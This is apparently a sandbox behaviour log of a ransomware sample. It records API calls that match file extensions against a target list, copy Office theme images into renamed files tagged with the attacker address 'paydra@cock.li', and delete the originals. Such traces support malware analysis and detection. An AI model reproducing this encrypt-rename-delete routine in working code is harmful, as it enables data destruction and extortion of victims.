[0045.682] lstrlenW (lpString=".7z") returned 3 [0045.682] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.682] lstrlenW (lpString=".dbf") returned 4 [0045.682] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.682] lstrlenW (lpString=".1cd") returned 4 [0045.682] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.682] lstrlenW (lpString=".jpg") returned 4 [0045.682] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.682] lstrlenW (lpString=".doc") returned 4 [0045.682] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.682] lstrlenW (lpString=".docx") returned 5 [0045.682] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.682] lstrlenW (lpString=".pdf") returned 4 [0045.682] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.682] lstrlenW (lpString=".xls") returned 4 [0045.682] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.682] lstrlenW (lpString=".xlsx") returned 5 [0045.682] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.683] lstrlenW (lpString=".ppt") returned 4 [0045.683] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.683] lstrlenW (lpString=".zip") returned 4 [0045.683] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.683] lstrlenW (lpString=".rar") returned 4 [0045.683] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.683] lstrlenW (lpString=".bz2") returned 4 [0045.683] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.683] lstrlenW (lpString=".7z") returned 3 [0045.683] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.683] lstrlenW (lpString=".dbf") returned 4 [0045.683] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.683] lstrlenW (lpString=".1cd") returned 4 [0045.683] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.683] lstrlenW (lpString=".jpg") returned 4 [0045.683] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.683] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0045.683] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.684] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=32433) returned 1 [0045.684] CloseHandle (hObject=0x210) returned 1 [0045.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0045.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.684] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.684] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.684] GetLastError () returned 0x0 [0045.684] ReadFile (in: hFile=0x210, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0045.687] WriteFile (in: hFile=0x198, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0045.689] ReadFile (in: hFile=0x210, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.689] WriteFile (in: hFile=0x198, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.689] SetEndOfFile (hFile=0x198) returned 1 [0045.689] CloseHandle (hObject=0x198) returned 1 [0045.689] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.689] SetEndOfFile (hFile=0x210) returned 1 [0045.690] CloseHandle (hObject=0x210) returned 1 [0045.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.690] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0045.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.690] lstrlenW (lpString=".doc") returned 4 [0045.690] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.690] lstrlenW (lpString=".docx") returned 5 [0045.690] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.690] lstrlenW (lpString=".pdf") returned 4 [0045.691] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.691] lstrlenW (lpString=".xls") returned 4 [0045.691] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.691] lstrlenW (lpString=".xlsx") returned 5 [0045.691] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.691] lstrlenW (lpString=".ppt") returned 4 [0045.691] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.691] lstrlenW (lpString=".zip") returned 4 [0045.691] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.691] lstrlenW (lpString=".rar") returned 4 [0045.691] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.691] lstrlenW (lpString=".bz2") returned 4 [0045.691] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.691] lstrlenW (lpString=".7z") returned 3 [0045.691] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.691] lstrlenW (lpString=".dbf") returned 4 [0045.691] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.691] lstrlenW (lpString=".1cd") returned 4 [0045.691] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.691] lstrlenW (lpString=".jpg") returned 4 [0045.691] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.691] lstrlenW (lpString=".doc") returned 4 [0045.691] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.691] lstrlenW (lpString=".docx") returned 5 [0045.691] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.692] lstrlenW (lpString=".pdf") returned 4 [0045.692] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.692] lstrlenW (lpString=".xls") returned 4 [0045.692] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.692] lstrlenW (lpString=".xlsx") returned 5 [0045.692] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.692] lstrlenW (lpString=".ppt") returned 4 [0045.692] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.692] lstrlenW (lpString=".zip") returned 4 [0045.692] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.692] lstrlenW (lpString=".rar") returned 4 [0045.692] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.692] lstrlenW (lpString=".bz2") returned 4 [0045.692] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.692] lstrlenW (lpString=".7z") returned 3 [0045.692] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.692] lstrlenW (lpString=".dbf") returned 4 [0045.692] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.692] lstrlenW (lpString=".1cd") returned 4 [0045.692] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0045.693] lstrlenW (lpString=".jpg") returned 4 [0045.693] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.693] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0045.693] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.693] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=5120) returned 1 [0045.693] CloseHandle (hObject=0x210) returned 1 [0045.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0045.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.693] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.693] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.697] GetLastError () returned 0x0 [0045.697] ReadFile (in: hFile=0x210, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1400, lpOverlapped=0x0) returned 1 [0045.699] WriteFile (in: hFile=0x198, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0045.701] ReadFile (in: hFile=0x210, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.702] WriteFile (in: hFile=0x198, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.702] SetEndOfFile (hFile=0x198) returned 1 [0045.702] CloseHandle (hObject=0x198) returned 1 [0045.702] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.702] SetEndOfFile (hFile=0x210) returned 1 [0045.703] CloseHandle (hObject=0x210) returned 1 [0045.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.703] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0045.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.703] lstrlenW (lpString=".doc") returned 4 [0045.703] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.703] lstrlenW (lpString=".docx") returned 5 [0045.703] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.703] lstrlenW (lpString=".pdf") returned 4 [0045.703] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.703] lstrlenW (lpString=".xls") returned 4 [0045.703] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.703] lstrlenW (lpString=".xlsx") returned 5 [0045.703] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.703] lstrlenW (lpString=".ppt") returned 4 [0045.703] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.703] lstrlenW (lpString=".zip") returned 4 [0045.704] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.704] lstrlenW (lpString=".rar") returned 4 [0045.704] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.704] lstrlenW (lpString=".bz2") returned 4 [0045.704] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.704] lstrlenW (lpString=".7z") returned 3 [0045.704] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.704] lstrlenW (lpString=".dbf") returned 4 [0045.704] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.704] lstrlenW (lpString=".1cd") returned 4 [0045.704] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.704] lstrlenW (lpString=".jpg") returned 4 [0045.704] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.704] lstrlenW (lpString=".doc") returned 4 [0045.704] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.704] lstrlenW (lpString=".docx") returned 5 [0045.704] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.704] lstrlenW (lpString=".pdf") returned 4 [0045.704] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.704] lstrlenW (lpString=".xls") returned 4 [0045.704] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.704] lstrlenW (lpString=".xlsx") returned 5 [0045.704] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.704] lstrlenW (lpString=".ppt") returned 4 [0045.704] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.704] lstrlenW (lpString=".zip") returned 4 [0045.705] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.705] lstrlenW (lpString=".rar") returned 4 [0045.705] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.705] lstrlenW (lpString=".bz2") returned 4 [0045.705] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.705] lstrlenW (lpString=".7z") returned 3 [0045.705] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.705] lstrlenW (lpString=".dbf") returned 4 [0045.705] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.705] lstrlenW (lpString=".1cd") returned 4 [0045.705] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0045.705] lstrlenW (lpString=".jpg") returned 4 [0045.705] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.705] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0045.705] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.906] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=60724) returned 1 [0045.906] CloseHandle (hObject=0x214) returned 1 [0045.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0045.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.906] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.906] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0045.906] GetLastError () returned 0x0 [0045.906] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xed34, lpOverlapped=0x0) returned 1 [0045.936] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0045.938] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.938] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.938] SetEndOfFile (hFile=0x160) returned 1 [0045.938] CloseHandle (hObject=0x160) returned 1 [0045.939] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.939] SetEndOfFile (hFile=0x214) returned 1 [0045.940] CloseHandle (hObject=0x214) returned 1 [0045.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.940] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0045.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.940] lstrlenW (lpString=".doc") returned 4 [0045.940] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.940] lstrlenW (lpString=".docx") returned 5 [0045.940] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.940] lstrlenW (lpString=".pdf") returned 4 [0045.941] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.941] lstrlenW (lpString=".xls") returned 4 [0045.941] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.941] lstrlenW (lpString=".xlsx") returned 5 [0045.941] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.941] lstrlenW (lpString=".ppt") returned 4 [0045.941] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0045.941] lstrlenW (lpString=".zip") returned 4 [0045.941] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.941] lstrlenW (lpString=".rar") returned 4 [0045.941] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 